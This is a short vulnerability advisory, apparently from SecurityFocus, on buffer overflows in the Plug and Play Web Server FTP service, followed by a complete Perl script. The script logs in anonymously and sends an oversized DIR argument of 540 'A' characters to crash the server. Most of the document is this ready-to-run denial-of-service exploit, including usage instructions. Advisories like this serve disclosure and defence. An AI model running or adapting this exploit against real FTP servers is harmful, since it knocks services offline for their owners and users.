source: https://www.securityfocus.com/bid/8667/info

Plug and Play Web Server FTP service has been reported prone to multiple buffer overflow issues, the issues present themselves when the affected FTP service handles FTP command arguments of excessive size.

It has been demonstrated that a remote attacker may exploit this condition to trigger a denial of service in the affected FTP server. However, due to the nature of this vulnerability, although unconfirmed, it has been conjectured that a remote attacker may leverage this vulnerability to have arbitrary code executed in the context of the vulnerable service. 

#!/usr/bin/perl
# ppftpdos.pl - Remote denial of service against Plug & Play FTP server

use Net::FTP;

$host = $ARGV[0];

$buffer = "A"x540;

if("$ARGV[0]" eq "") {
        print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");
        print("b_naamneh@hotmail.com - http://www.bsecurity.tk\n");
        print("====================================================\n");
        die("Usage : ./PPftpdos <host\/ip>\n");
} else {

        print("Connecting to $host...\n");
        my $ftp = Net::FTP->new($host) or die "Couldn't connect to
$host\n";
        print("Connected!\n");

        $username = "anonymous";
        $password = "anonymous";

        $ftp->login($username, $password)
        or die "Could not log in.\n";

        $ftp->dir($buffer);

        $ftp->quit();

        print("Success!\n");
}